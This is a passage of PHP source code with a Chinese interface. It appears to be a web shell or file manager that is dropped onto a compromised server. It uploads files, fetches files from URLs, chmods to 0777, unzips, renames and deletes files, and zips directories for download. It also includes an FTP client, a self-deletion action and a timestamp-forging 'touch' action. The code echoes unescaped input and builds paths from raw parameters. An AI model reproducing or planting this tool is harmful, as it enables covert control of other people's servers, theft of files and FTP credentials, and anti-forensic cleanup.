    </td>
  </tr>
 </form>
 <form action='?action=fileup&dir=".urlencode($r_admin[nowpath])."' method='post' enctype='multipart/form-data'>
  <tr>
    <td colspan='2'>上传文件到当前目录:
    <input name=\"filedir\" type=\"text\"  value=\"$r_admin[nowpath]\" size=30>&nbsp;<br>本地文件:
	<input name=\"userfile\" type=\"file\"  size=30>&nbsp;
	<input name=\"userfileb\" type=\"submit\"  value=\"上传\">
  </tr>
  </form>
  </form>
  <form action='?action=urldownload&dir=".urlencode($r_admin[nowpath])."' method='POST'>
  <tr>
    <td colspan='2'>从网络URL下载文件:
        <input name='downfile' type='text' class='INPUT' value='' size='32'>
        <input type='submit' class='INPUT' value='下载'>
        <input name='action' type='hidden' value='urldownload'></td>
  </tr>
  </form>
  <form action='?action=createfile&dir=".urlencode($r_admin[nowpath])."' method='POST'>
  <tr>
    <td colspan='2'>新建文件在当前目录:
        <input name='mkfileb' type='text' class='INPUT' value=''>
        <input type='submit' class='INPUT' value='新建文件'>
        <input name='action' type='hidden' value='createfile'></td>
  </tr>
  </form>
  <form action='' method='POST'>
  <tr>
    <td colspan='2'>新建目录在当前目录:
        <input name='mkdirb' type='text' class='INPUT' value=''>
        <input type='submit' class='INPUT' value='新建目录'>
        <input name='action' type='hidden' value='createfile'></td>
  </tr>
  </form>
</table>
<br>

";


if ($this->input['chmodfile'] !="") {
	$chmodfile = $this->input['chmodfile'];
	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">将要修改属性 $chmodfile ?</font><br><br>
<center><form method=post><b>修改属性</b><br><u><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">$chmodfile</font></u><br><Br><B>为</B><br>
<input name=chmod_to size=40 value='0777'><br><br><input type=submit value='CHMOD'>
</form></td></tr></table>";
@$new_chmod = $this->input['chmod_to'];
if($new_chmod){
$fo=$chmodfile;
$fo=str_replace("//","/",$fo);
$fo=str_replace("\\","/",$fo);

for ($i = 0 ; $i < 10000 ; $i++) 
	{
	       if (@base_convert($i,10,8) == $new_chmod) 
	       	{
	       		$new_chmod1 = $i;
	       		$i = 10000;
		}	        
	}
@chmod($fo,$new_chmod1) or $this->Redirect("修改属性出错!", "1");
$this->Redirect("文件 $fo 修改属性 $new_chmod 成功", $r_admin[url]."?dir=".urlencode(dirname($fo)));
}
}
else if ($this->input['zipfile'] !="") {
  	$zipfile = $this->input['zipfile'];
	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">将要解压ZIP文件 $zipfile ?</font><br><br>
<center><form method=post><b>解压</b><br><u><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">$zipfile</font></u><br><Br><B>到</B><br>
<input name=zip_to size=40 value='".dirname($zipfile)."'><br><br><input type=submit value=UNZIP>
</form></td></tr></table>";

@$zip_to=$this->input['zip_to'];

$pth_key = explode("/",$zip_to);
   for($i=0;isset($pth_key[$i]);$i++){
     if(!$pth_key[$i]) continue;$pthss_key.=$pth_key[$i]."/";
     if(!is_dir($pthss_key)) @mkdir($pthss_key,0777);
                $zip = new newzip;
		//$zipfile = $this->input['zipfile'];
		$array=$zip->get_list($zipfile);
		$count=count($array);
		$f=0;
		$d=0;
		for($i=0;$i < $count;$i++) {
			if($array[$i][folder]==0) {
				if($zip->Extract($zipfile,$zip_to,$i)>0) $f++;
			}
			else $d++;
		}
		if($i==$f+$d) $this->Redirect("解压 $zipfile 文件成功，共有$f 个文件 $d 个目录", $r_admin[url]."?dir=".urlencode(dirname($zipfile))); 
		elseif($f==0) $this->Redirect("解压 $zipfile 文件出错!", "1");
		else  $this->Redirect("解压 $zipfile 文件未解压完整，已解压 $f 个文件 $d 个目录", "1"); 
		

}
}
else if ($this->input['rename'] !="") {
  	$rename = $this->input['rename'];
	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">将要改名 $rename ?</font><br><br>
<center><form method=post><b>改名</b><br><u><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">$rename</font></u><br><Br><B>为</B><br>
<input name=rename_to size=40 value=''><br><br><input type=submit value=RENAME>
</form></td></tr></table>";

@$new_name=$this->input['rename_to'];
//echo $r_admin[nowpath];
if($new_name){
$from1=$rename;
$from1=str_replace("//","/",$from1);
$to1 = dirname($from1);
$to1 = $to1."/".$new_name;
$to1=str_replace("\\","/",$to1);
$to1=str_replace("//","/",$to1);

@rename($from1,$to1) or $this->Redirect("改名出错!", "1");
$this->Redirect("$from1 改名为 $new_name 成功", $r_admin[url]."?dir=".urlencode(dirname($from1)));
}
}
else if($this->input['action'] == "selfremover") {
	$path =__FILE__;
$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除?</font><br/><br/><br/>
<a href='$r_admin[url]?action=removeyes'>Yes</a> | <a href='$r_admin[url]?'>No</a><br/><br/><br/>
Remove: <u>$path</u>
</td></tr></table>";
}
else if ($this->input['action']=="removeyes"){
$path=__FILE__;
@unlink($path);
$path=str_replace("\\","/",$path);
if(file_exists($path)){

$del="错误，没有删除!!!";

$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font color=red face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">文件 $path 删除失败！！！</font>
</td></tr></table>";	
}
else{$del="已经成功删除";
}
print "<script>alert('$path $del');</script>";

}
else if(isset($deldir) && $delyes=="")
{
	$deldir1 = urlencode($deldir);	
  	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除目录<u>[$deldir]</u>?</font><br/><br/><br/>
<a href='$r_admin[url]?action=index&deldir=$deldir1&delyes=yes'>Yes</a> | <a href='$r_admin[url]?dir=$deldir'>No</a><br/><br/><br/>
Delete: <u>$deldir</u>
</td></tr></table>";	
}
else if (isset($delfile) && $delyes=="")
{
  $delfile1 = urlencode($delfile);
  $filedir  = urlencode(dirname($delfile));	
  $return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除文件<u>\"$delfile\"</u>?</font><br/><br/><br/>
<a href='$r_admin[url]?action=index&delfile=$delfile1&delyes=yes'>Yes</a> | <a href='$r_admin[url]?dir=$filedir'>No</a><br/><br/><br/>
Delete: <u>$delfile</u>
</td></tr></table>";		
}
else if ($this->input[action] == "touch")
{
    $tfile = $this->input['tfile'];
    $c_t = time();	
    $return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">请输入文件的最后修改时间,应为一整数<br/>
目前时间的时间戳记为：$c_t<br/></font><br/>
<center><form method=post><input name=ttime size=40 value=''><br><br><input type=submit value=TOUCH>
<input type='hidden' name='tfile' value=\"$tfile\">
</form>
</td></tr></table>";
}
 elseif ($this->input[d_down] != "")
   {
   	$file =  basename($this->input[d_down]);
   	@set_time_limit(3000); //for big archives
						$zipfile = $file . ".zip";

						// a directory for every user, just in case...

						$dir = $this->input[d_down] . "/";
						$dir=str_replace("//","/",$dir); 

						header("Content-disposition: attachment; filename=\"$zipfile\"");
						header("Content-type: application/octetstream");
						header("Pragma: ");
						header("Cache-Control: cache");
						header("Expires: 0");

						$zipfile = $r_admin[pathname]. "/" . $r_admin[tmp_dir] . $zipfile;
                                                $zipfile = str_replace("//","/",$zipfile);
                         
						//Create temporary diretory 
						@mkdir(dirname($zipfile));
						
						
						//zip the directory
						$zip = new ss_zip('',6); 
						$zip->zipDirTree($dir, $dir);
						$zip->save($zipfile);

						//send zipfile to the browser
						$filearray = explode("/",$zipfile);
						$file = $filearray[sizeof($filearray)-1];

						//$data = readfile($zipfile);
						//$i=0;
						

						$df_fhd=fopen($zipfile,"rb");
        					if($df_fhd==false) $errordownload = "打开文件错误";
						echo fread($df_fhd,filesize($zipfile));
              					fclose($df_fhd);

						//Delete zip file
						@unlink($zipfile);
						exit;
	
						//Delete downloaded files from user specific directory
						
	} 

else  {
$return .="
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
    <td align='center' nowrap width='30%'><b>文件名称</b></td>
    <td align='center' nowrap width='20%'><b>最后修改日期</b></td>
    <td align='center' nowrap width='10%'><b>大小</b></td>
    <td align='center' nowrap width='15%'><b>属主/群组</b></td>
    <td align='center' nowrap width='5%'><b>属性</b></td>
    <td align='center' nowrap width='20%'><b>操作</b></td>
  </tr>
";

$dirs = array();
$files = array();
$r_admin[r_dirs]=@opendir($r_admin[nowpath]);

while (!($file=@readdir($r_admin[r_dirs])) === false) {
        
        $b="$r_admin[nowpath]/$file";
	$a=@is_dir($b);
	
        if($a=="1"){
        	$dirs[] = $file;
        }
        else
          {
          	$files[] = $file;
        }
           	sort($dirs);
   		sort($files);
}//while end   





for($i=0; $i < count($dirs); $i++){
	
	if($r_admin[os]=="unix"){
	$owner = @fileowner($r_admin[nowpath]."/".$dirs[$i]);
	$fileownera=posix_getpwuid($owner);
	$owner=$fileownera['name'];
	$group = @filegroup($r_admin[nowpath]."/".$dirs[$i]);
	$groupinfo = posix_getgrgid($group);
	$group=$groupinfo['name'];
	}
	$cur_dir=str_replace("//","/",$r_admin[nowpath]."/".$dirs[$i]);
	if($dirs[$i]!=".." && $dirs[$i]!=".")	{
			$lastsave=@date("Y-n-d H:i:s",filemtime("$r_admin[nowpath]/$dirs[$i]"));
			$dirperm=substr(base_convert(fileperms("$r_admin[nowpath]/$dirs[$i]"),10,8),-4);
			$return .= "<tr class=\"input_basic\">\n";
			$return .= "  <td style=\"padding-left: 5px;\">[<a href=\"$r_admin[url]?dir=".urlencode($cur_dir)."\"><font color=\"#000099\">$dirs[$i]</font></a>]</td>";
			$return .= "  <td align=\"center\" nowrap valign=\"top\">$lastsave</td>\n";
			$return .= "  <td align=\"center\" nowrap valign=\"top\">&lt;DIR&gt;</td>\n";
			$return .= "  <td align=\"center\" nowrap valign=\"top\">$owner/$group</td>\n";
			$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?chmodfile=".urlencode($cur_dir)."\">$dirperm</a></td>\n";
			//$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($cur_dir)."\">$dirperm</a></td>";
			$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=index&d_down=".urlencode($cur_dir)."\">下载</a> | <a href=\"?action=index&deldir=".urlencode($cur_dir)."\">删除</a> | <a href=\"?action=index&rename=".urlencode($cur_dir)."\">改名</a></td>";
			$return .= "</tr>\n";
			continue;
		} else {
			if($dirs[$i]=="..") {
				//echo "<tr class=".getrowbg().">\n";
				$return .= "  <td nowrap colspan=\"5\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($r_admin[nowpath])."/".urlencode($dirs[$i])."\">←返回上级目录</a></td>";
				$return .= "</tr>";
				continue;
			}
		}
		
	}
$dir_num = $i;		
for($i=0; $i < count($files); $i++){
                if($r_admin[os]=="unix"){
		$owner =  @fileowner($r_admin[nowpath]."/".$files[$i]);
		$fileownera=posix_getpwuid($owner);
		$owner=$fileownera['name'];
		$group = @filegroup($r_admin[nowpath]."/".$files[$i]);
		$groupinfo = posix_getgrgid($group);
		$group=$groupinfo['name'];
		}
		
		$cur_dir=str_replace("//","/",$r_admin[nowpath]."/".$files[$i]);
		$size=@filesize("$r_admin[nowpath]/$files[$i]");
		
		if ($size < 1024){$file_size=$size.' B';
			}else{
				if ($size < 1024*1024){$file_size=@number_format(($size/1024), 2, '.', '').' KB';}else{
				if ($size < 1000000000){$file_size=@number_format($size/(1024*1024), 2, '.', '').' MB';}else{
				if ($size < 1000000000000){$file_size=@number_format($size/(1024*1024*1024), 2, '.', '').' GB';}
			}}}
		$lastsave=@date("Y-n-d H:i:s",filemtime("$r_admin[nowpath]/$files[$i]"));
		@$fileperm=substr(base_convert(fileperms("$r_admin[nowpath]/$files[$i]"),10,8),-4);
		$return .= "<tr class=\"input_basic\">";
		if ($r_admin[f_flag] =="0" ) 
		{
		      	if (substr($files[$i], -3)=='zip') $return .="  <td style=\"padding-left: 5px;\"><a href=\"?zipfile=".urlencode($cur_dir)."\">$files[$i]</a></td>";
			else $return .= "  <td style=\"padding-left: 5px;\"><a href=\"$r_admin[r_dir]/$files[$i]\" target=\"_blank\">$files[$i]</a></td>";
		}
		else if ($r_admin[f_flag] =="1") $return .= "  <td style=\"padding-left: 5px;\">$files[$i]</a></td>";
		
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=touch&tfile=".urlencode($cur_dir)."\">$lastsave</a></td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$file_size</td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$owner/$group</td>\n";
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?chmodfile=".urlencode($cur_dir)."\">$fileperm</a></td>\n";
		//$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=fileperm&dir=".urlencode($cur_dir)."\">$fileperm</a></td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?downfile=".urlencode($cur_dir)."\">下载</a> | <a href=\"?action=editfile&dir=".urlencode($cur_dir)."\">编辑</a> | <a href=\"?action=index&delfile=".urlencode($cur_dir)."\">删除</a> | <a href=\"?action=index&rename=".urlencode($cur_dir)."\">改名</a></td>";
		$return .= "</tr>";
	
	}
$file_num = $i;	
@closedir($r_admin[r_dirs]); 
     $return .=" 
     <tr> 
      <td nowrap colspan=\"5\" align=\"left\"><b>$dir_num 个目录(已经包含.和..目录)<br>$file_num  个文件</b></td>
      </tr>           
</table>
";
}
     return $return;

}



// ---------------------------------------------------------------------
//
//  My_ftp
//
// ---------------------------------------------------------------------
function my_ftp()
{
      global $r_admin,$HTTP_COOKIE_VARS;

      $host = $this->input[host];
      $ftpport = $this->input[ftpport];
      $ftpuser = $this->input[ftpuser];
      $ftppasswd = $this->input[ftppasswd];
      $deldir  = $this->input[deldir];
      $delfile = $this->input[delfile];
      $delyes  = $this->input[delyes];
      $dir  = $this->input[dir];
      $u_dir  = $this->input[u_dir];
      
      
      
      if ($ftpuser != "anonymous" && $ftppasswd !="ftp@ftp.com" && $this->input[flag] != "")
      	{
     		 $ftpuser = base64_decode($ftpuser);
     		 $ftppasswd = base64_decode($ftppasswd);
	}
      
      if (!isset($host) or empty($host)) $host = "127.0.0.1";
      if (!isset($ftpport) or empty($ftpport)) $ftpport = "21";
      if (!isset($ftpuser) or empty($ftpuser)) $ftpuser = "anonymous";
      if (!Isset($ftppasswd) or empty($ftppasswd)) $ftppasswd = "ftp@ftp.com";
      
      $ftpstream = @ftp_connect($host, $ftpport);
      $true =  @ftp_login($ftpstream, $ftpuser, $ftppasswd);

       $u = urlencode(base64_encode($ftpuser));
       $p = urlencode(base64_encode($ftppasswd));
  
      
      if( $true )
      {
      	//显示出服务器系统
         $os_info = @ftp_systype($ftpstream); 
         $ftp_pwd = @ftp_pwd($ftpstream);
         //echo "$info<br/>";     	
      	//列出当前路径
      	if ($dir == "" )   	$c_pwd = @ftp_pwd($ftpstream);
        else  $c_pwd = $dir;
        if ($this->input[goto_ftpdir] != "" ) $c_pwd = $this->input[goto_ftpdir];
        $c_pwd = @str_replace("//","/",$c_pwd);
      }  
        
  
        if(isset($deldir) && $delyes =="yes" ) 
	{
	  $deldir=str_replace("//","/",$deldir);
	  
	  $ba_dir = dirname($deldir);
	  $cu_dir = basename($deldir);
	  $out = $this->deleteRecursive	($ftpstream, $ba_dir, $cu_dir)?"删除目录[$deldir]成功!":"删除目录[$deldir]失败!";
	 
         $this->Redirect("$out", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode(dirname($deldir)));
    			}
	 else if(isset($delfile) && $delyes =="yes") {
    	
    	$delfile=str_replace("//","/",$delfile);
        
	$out = @ftp_delete($ftpstream, $delfile)?"删除文件[$delfile]成功!":"删除文件[$delfile]失败!";
			
           
       $this->Redirect("$out", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode(dirname($delfile)));
       }    
        
        if("$ftp_pwd" == "$c_pwd" ) $dir_flag = 1;
        else $dir_flag = 0;
        
        
        $return  = $this->showhead($r_admin[b_name]);
        $return .="
<br/>




<table width=600 border=0 cellpadding=0 align='center'>
  <tr>  	
  	<td><p><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
  	当前系统: <b>$os_info</b><br/>
    	FTB路径: <b>$ftp_pwd</b><br/>当前目录: <b>$c_pwd</b>
    </font>
    </td>
  </tr>
</table>





<table width=600 border=0 cellpadding=0 class='input_basic' align='center'>
 <form action='?action=my_ftp' method='post'>
  <tr>  	
  	<td>
        输入要跳转到的目录:
        <input name='goto_ftpdir' type='text' class='INPUT'>
        <input type='submit' class='INPUT' value='跳转'> 
        <input type='hidden' name='host' value=\"$host\">
        <input type='hidden' name='ftpport' value=\"$ftpport\">
        <input type='hidden' name='ftpuser' value=\"$ftpuser\">
        <input type='hidden' name='ftppasswd' value=\"$ftppasswd\">
    </td>
  </tr>
 </form>
 <form action='?action=ftp_fileup&dir=".urlencode($c_pwd)."' method='post' enctype='multipart/form-data'>
  <tr>
    <td colspan='2'>本地文件:
	<input name=\"userfile\" type=\"file\"  size=30>&nbsp;
	<input name=\"userfileb\" type=\"submit\"  value=\"上传\">
	<input type='hidden' name='host' value=\"$host\">
        <input type='hidden' name='ftpport' value=\"$ftpport\">
        <input type='hidden' name='ftpuser' value=\"$ftpuser\">
        <input type='hidden' name='ftppasswd' value=\"$ftppasswd\">
  </tr>
  </form>
  <form action='?action=my_ftp' method='POST'>
  <tr>
    <td colspan='2'>新建目录在当前目录:
        <input name='mkdirb' type='text' class='INPUT' value=''>
        <input type='submit' class='INPUT' value='新建目录'>
        <input name='name' type='hidden' value='create_dir'>
        <input type='hidden' name='dir' value=\"$c_pwd\">
       	<input type='hidden' name='host' value=\"$host\">
        <input type='hidden' name='ftpport' value=\"$ftpport\">
        <input type='hidden' name='ftpuser' value=\"$ftpuser\">
        <input type='hidden' name='ftppasswd' value=\"$ftppasswd\">
        </td>
  </tr>
  </form>
  <form action='?action=my_ftp' method='POST'>
  <tr>
    <td colspan='2'>
  数据库地址*:<input name=\"host\" type=\"text\" class=\"style1\" value=\"$host\" size=15>
			端口*:<input name=\"ftpport\" type=\"text\" class=\"style1\" value=\"$ftpport\" size=12>
			<br/>
			登录用户名*:<input name=\"ftpuser\" type=\"text\" class=\"style1\" value=\"$ftpuser\" size=15>
			密码*:<input name=\"ftppasswd\" type=\"password\" class=\"style1\" value=\"$ftppasswd\" size=12>
			<br/>
			
			<input name=\"ftpcmd\" type=\"submit\" value=\"执行\">&nbsp;
			<input name=\"ftpagainb\" type=\"reset\" value=\"重置\">
  </td>
  </tr>
  </form> 
</table>
";



if ($this->input[name] != ""){
  	$dir = $this->input['dir'];
	if ($dir == "" )   	$c_pwd = @ftp_pwd($ftpstream);
        else  $c_pwd = $dir;
		 	$mkdirb = $this->input['mkdirb'];
			if(isset($mkdirb)){
				
				 $dirb = "$c_pwd/$mkdirb";
				 $dirb=@str_replace("//","/",$dirb);
				 
				 $out =@ftp_mkdir($ftpstream, $dirb)?"目录[$dirb]创建成功":"目录[$dirb]创建失败";
			
                     $this->Redirect("$out", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode($c_pwd));
                            }
  }

  if ($this->input[ftp_down] != "")
       {
       	 $down_filename = $this->input[ftp_down];
       	//echo $down_filename;
       $fc_pwd =  str_replace('\\\\','/',dirname(__FILE__));  
       $tempfile = $fc_pwd.$r_admin[tmp_file];
             
       $fd = @fopen("$tempfile", "w");
       @ftp_fget($ftpstream, $fd, $down_filename, FTP_BINARY);

        $df_name = basename("$down_filename");
	//$df_name = $this->input[downfile];
	//echo $df_name;
        $df_fhd=@fopen("$tempfile","rb");
        if($df_fhd==false) $errordownload = "打开文件错误";
        else{
            Header("Content-type: application/octet-stream");
            Header("Accept-Ranges: bytes");
            Header("Accept-Length: ".@filesize("$tempfile"));
            Header("Content-Disposition: attachment; filename=".$df_name);
	    echo @fread($df_fhd,@filesize("$tempfile"));
            @fclose($df_fhd);
            exit;
        }
      }
   
   elseif ($this->input['ftp_ddown'] !="") {
   	
   	@set_time_limit(3000); //for big archives
   	$download_dirname = $this->input['ftp_ddown'];
       	//echo $down_filename;
        $fc_pwd =  str_replace('\\\\','/',dirname(__FILE__));  
        $fc_pwd =  str_replace('\\','/',$fc_pwd);
        $tempfile = $fc_pwd.$r_admin['tmp_file'];
             
        
            					$this->downloadDir = $fc_pwd;
            					$this->connection  = $ftpstream;
            					$this->currentDir  = dirname($download_dirname);
            					$file = basename($download_dirname);
            					$this->resumeDownload = false;
            					$this->mode = 0;
            					$this->systype = $os_info;
            					$this->userDir = $r_admin['ftp_tmp'];
            						
						$zipfile = $file . ".zip";

						// a directory for every user, just in case...
						$dir = $this->downloadDir . $this->userDir . "/";  
						$dir = str_replace("//","/",$dir);
						$dir = str_replace('\\','/',$dir);


						header("Content-disposition: attachment; filename=\"$zipfile\"");
						header("Content-type: application/octetstream");
						header("Pragma: ");
						header("Cache-Control: cache");
						header("Expires: 0");

						$zipfile = $this->downloadDir . "/" .$zipfile;

						//Create temporary diretory 
						@mkdir($dir);

						//Get entire directory and store to temporary directory
						$this->getRecursive($this->currentDir, $file);


						//zip the directory
						$zip = new ss_zip('',6); 
						$zip->zipDirTree($dir, $dir);
						$zip->save($zipfile);

						//send zipfile to the browser
						$filearray = explode("/",$zipfile);
						$file = $filearray[sizeof($filearray)-1];

						$data = readfile($zipfile);
						$i=0;
						while ($data[$i] != "")
						{
							echo $data[$i];
							$i++;
						}

						//Delete zip file
						unlink($zipfile);

						//Delete downloaded files from user specific directory
						$file = basename($download_dirname);
						$dir = $this->downloadDir .$this->userDir . "/" . $file . "/";
												
						
						$this->deltree($dir);
						exit;
        


}   
   elseif ($this->input['ftp_chmodfile'] !="") {
	$chmodfile = $this->input['ftp_chmodfile'];
	$dir = $this->input['dir'];
	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">将要修改属性 $chmodfile ?</font><br><br>
<center><form method=post><b>修改属性</b><br><u><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">$chmodfile</font></u><br><Br><B>为</B><br>
<input name=chmod_to size=40 value='0777'><br><br><input type=submit value='CHMOD'>
</form></td></tr></table>";
@$new_chmod = $this->input['chmod_to'];
if($new_chmod){
$fo=$chmodfile;
$fo=str_replace("//","/",$fo);
$fo=str_replace("\\","/",$fo);

@ftp_site($ftpstream, "chmod $new_chmod $fo") or $this->Redirect("修改属性出错!", "1");	
//@chmod($fo,$new_chmod1) or $this->Redirect("修改属性出错!", "1");
$this->Redirect("文件 $fo 修改属性 $new_chmod 成功", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode(dirname($fo)));
}
}   
   elseif ($this->input['rename'] !="") {
   	$rename = $this->input['rename'];
	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">将要改名 $rename ?</font><br><br>
<center><form method=post><b>改名</b><br><u><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">$rename</font></u><br><Br><B>为</B><br>
<input name=rename_to size=40 value=''><br><br><input type=submit value=RENAME>
</form></td></tr></table>";

@$new_name=$this->input['rename_to'];
//echo $r_admin[nowpath];
if($new_name){
$from1=$rename;
$from1=str_replace("//","/",$from1);
$to1 = dirname($from1);
$to1 = $to1."/".$new_name;
$to1=str_replace("\\","/",$to1);
$to1=str_replace("//","/",$to1);

@ftp_rename($ftpstream, $from1, $to1) or $this->Redirect("改名出错!", "1");
$this->Redirect("$from1 改名为 $new_name 成功", $r_admin[url]."?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=".urlencode(dirname($from1)));
}
}
elseif($deldir !="" && $delyes=="")
{
	
	$deldir1 = urlencode($deldir);	
  	$return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除目录<u>[$deldir]</u>?</font><br/><br/><br/>
<a href='$r_admin[url]?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&deldir=$deldir1&delyes=yes'>Yes</a> | <a href='$r_admin[url]?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=$deldir'>No</a><br/><br/><br/>
Delete: <u>$deldir</u>
</td></tr></table>";	
}
elseif ($delfile !="" && $delyes=="")
{
  $delfile1 = urlencode($delfile);
  $filedir  = urlencode(dirname($delfile));	
  $return .= "
	<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
<tr align='center'><td><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">你真的确定要删除文件<u>\"$delfile\"</u>?</font><br/><br/><br/>
<a href='$r_admin[url]?action=my_ftp&host=$host&ftpport=$port&ftpuser=$u&ftppasswd=$p&flag=1&delfile=$delfile1&delyes=yes'>Yes</a> | <a href='$r_admin[url]?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&dir=$filedir'>No</a><br/><br/><br/>
Delete: <u>$delfile</u>
</td></tr></table>";		
}
 
 elseif( $true )
      {
      	  
        //列出当前路径下所有文件和目录
        $filelist =  @ftp_rawlist($ftpstream, $c_pwd);
        $filelist1 =  @ftp_nlist($ftpstream, $c_pwd);
        $return .="
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center' style='table-layout: fixed;word-wrap: break-word'>
  <tr bgcolor='#cccccc'>
    <td align='center' nowrap width='30%'><b>文件名称</b></td>
    <td align='center' nowrap width='16%'><b>最后修改日期</b></td>
    <td align='center' nowrap width='10%'><b>大小</b></td>
    <td align='center' nowrap width='9%'><b>属性</b></td>
    <td align='center' nowrap width='20%'><b>操作</b></td>
  </tr>
";
                
        $abc = @count($filelist);
        if ($dir_flag != 1)         $return .= "<tr><td nowrap colspan=\"5\" style=\"padding-left: 5px;\"><a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=2&dir=".urlencode($u_dir)."\">←返回上级目录</a></td></tr>";

         for ($i = 0; $i < $abc; $i++) 
        	 {
              		
              		if ($filelist1[$i] !="")
    				{
    					$a = basename($filelist1[$i]);
    					$file_time = @date('Y-n-d H:i:s',@ftp_mdtm($ftpstream,$filelist1[$i]));
              	        	        $a_size = @ftp_size($ftpstream, $filelist1[$i]);
              	        	
              	        	        if ($a_size == "-1") $file_size = '&ltDIR&gt';
              	        	        elseif ($a_size < 1024){$file_size=$a_size.' B';
			}else{
				if ($a_size < 1024*1024){$file_size=@number_format(($a_size/1024), 2, '.', '').' KB';}else{
				if ($a_size < 1000000000){$file_size=@number_format($a_size/(1024*1024), 2, '.', '').' MB';}else{
				if ($a_size < 1000000000000){$file_size=@number_format($a_size/(1024*1024*1024), 2, '.', '').' GB';}
			}}}
              	        	}
              	        	
              		if ($filelist[$i] !="") 
    			{
    			$b = substr($filelist[$i],0,10); 	
                                              
                        }
                        if ($i % 2 == 0) $color = "#eeeeee";
                        else $color = "#ffffff";
                         //echo $a,$b,$file_time,$file_size;
                         $p_pwd =$c_pwd."/".$a;
                        $return .= "<tr bgcolor=$color>";
                       		if ($a_size == "-1") $return .= "  <td style=\"padding-left: 5px;\"><a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&u_dir=".urlencode($c_pwd)."&dir=".urlencode($p_pwd)."\">$a</a></td>";
		else $return .= "  <td style=\"padding-left: 5px;\">$a</td>";
		
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$file_time</td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\">$file_size</td>";
		$return .= "  <td align=\"center\" nowrap valign=\"top\"><a href=\"?action=my_ftp&host=$host&ftpport=$ftpport&ftpuser=$u&ftppasswd=$p&flag=1&ftp_chmodfile=".urlencode($p_pwd)."\">$b</a></td>\n";

